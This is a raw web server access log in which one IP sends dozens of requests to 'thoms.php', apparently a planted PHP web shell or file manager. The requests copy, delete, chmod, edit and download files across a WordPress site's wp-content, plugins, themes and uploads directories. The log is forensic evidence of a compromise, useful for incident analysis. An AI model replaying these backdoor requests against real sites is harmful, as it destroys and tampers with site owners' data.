45.135.193.11 - - [11/Sep/2026:23:22:25 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Findex.php&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11387 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Findex.php&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:25 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Findex.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Findex.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:25 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Findex.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Findex.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:25 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Findex.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11818 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Findex.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:25 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Findex.php&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Findex.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:25 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Findex.php&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Findex.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:25 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Findex.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Findex.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:25 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 19263 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Findex.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:25 -0400] "GET /thoms.php?edit=thoms.php&p=big-wife.com.tw HTTP/1.1" 200 56167 "http://163.245.207.76:443/thoms.php?edit=thoms.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:25 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 19265 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Findex.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:25 -0400] "GET /thoms.php?edit=thoms.php&env=ace&p=big-wife.com.tw HTTP/1.1" 200 59741 "http://163.245.207.76:443/thoms.php?edit=thoms.php&env=ace&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:25 -0400] "GET /thoms.php?edit=wp-cron.php&p=big-wife.com.tw HTTP/1.1" 200 13937 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:26 -0400] "GET /thoms.php?edit=wp-cron.php&env=ace&p=big-wife.com.tw HTTP/1.1" 200 17541 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&env=ace&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11391 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:26 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 19256 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:26 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 19406 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&p= HTTP/1.1" 200 12280 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:26 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-content%2Fthemes HTTP/1.1" 200 13285 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:26 -0400] "GET /thoms.php?del=themes&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 13622 "http://163.245.207.76:443/thoms.php?del=themes&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:27 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content%2Fuploads&p= HTTP/1.1" 200 12286 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content%2Fuploads&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:27 -0400] "GET /big-wife.com.tw/wp-content HTTP/1.1" 301 795 "http://163.245.207.76:443/big-wife.com.tw/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:27 -0400] "GET /big-wife.com.tw/wp-content/ HTTP/1.1" 200 0 "https://163.245.207.76:443/big-wife.com.tw/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:27 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-content%2Fupgrade HTTP/1.1" 200 12064 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-content%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:27 -0400] "GET /thoms.php?del=index.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 13623 "http://163.245.207.76:443/thoms.php?del=index.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:27 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-content%2Flanguages HTTP/1.1" 200 26832 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-content%2Flanguages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:27 -0400] "GET /thoms.php?del=languages&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 13613 "http://163.245.207.76:443/thoms.php?del=languages&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:27 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content%2Fupgrade&p= HTTP/1.1" 200 12303 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:27 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-content&view=index.php HTTP/1.1" 200 11853 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-content&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:27 -0400] "GET /big-wife.com.tw/wp-content/languages/ HTTP/1.1" 200 4066 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:27 -0400] "GET /thoms.php?chmod=index.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:27 -0400] "GET /thoms.php?dl=index.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 13625 "http://163.245.207.76:443/thoms.php?dl=index.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:27 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-content%2Fmu-plugins HTTP/1.1" 200 12726 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-content%2Fmu-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:27 -0400] "GET /thoms.php?chmod=mu-plugins&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=mu-plugins&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:27 -0400] "GET /thoms.php?del=uploads&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 13614 "http://163.245.207.76:443/thoms.php?del=uploads&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:27 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content%2Fmu-plugins&p= HTTP/1.1" 200 12282 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content%2Fmu-plugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:28 -0400] "GET /thoms.php?del=upgrade&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 13624 "http://163.245.207.76:443/thoms.php?del=upgrade&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:28 -0400] "GET /big-wife.com.tw/wp-content/mu-plugins/ HTTP/1.1" 200 800 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:28 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content%2Findex.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content%2Findex.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:28 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-content%2Fplugins HTTP/1.1" 200 13121 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-content%2Fplugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:28 -0400] "GET /thoms.php?chmod=upgrade&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:28 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content%2Fplugins&p= HTTP/1.1" 200 12285 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content%2Fplugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:28 -0400] "GET /thoms.php?chmod=uploads&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=uploads&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:28 -0400] "GET /big-wife.com.tw/wp-content/themes/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:28 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content%2Fthemes&p= HTTP/1.1" 200 12296 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content%2Fthemes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:28 -0400] "GET /thoms.php?chmod=languages&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=languages&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:28 -0400] "GET /thoms.php?chmod=plugins&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=plugins&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:28 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-content%2Fuploads HTTP/1.1" 200 12766 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-content%2Fuploads" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:28 -0400] "GET /big-wife.com.tw/wp-content/uploads/ HTTP/1.1" 200 842 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:28 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content%2Flanguages&p= HTTP/1.1" 200 12289 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content%2Flanguages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:28 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-content&settings=1 HTTP/1.1" 200 11925 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-content&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:28 -0400] "GET /big-wife.com.tw/wp-content/index.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:28 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-content&upload= HTTP/1.1" 200 12188 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-content&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:28 -0400] "GET /thoms.php?del=mu-plugins&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 13624 "http://163.245.207.76:443/thoms.php?del=mu-plugins&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:28 -0400] "GET /big-wife.com.tw/wp-content/plugins/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:29 -0400] "GET /thoms.php?chmod=themes&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=themes&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:29 -0400] "GET /big-wife.com.tw/wp-content/upgrade/ HTTP/1.1" 200 697 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:29 -0400] "GET /thoms.php?del=plugins&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 13614 "http://163.245.207.76:443/thoms.php?del=plugins&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:29 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flicense.txt&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flicense.txt&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:29 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flicense.txt&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11859 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flicense.txt&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:29 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flicense.txt&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flicense.txt&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:29 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 19614 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flicense.txt&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:29 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flicense.txt&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11392 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flicense.txt&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:29 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flicense.txt&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flicense.txt&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
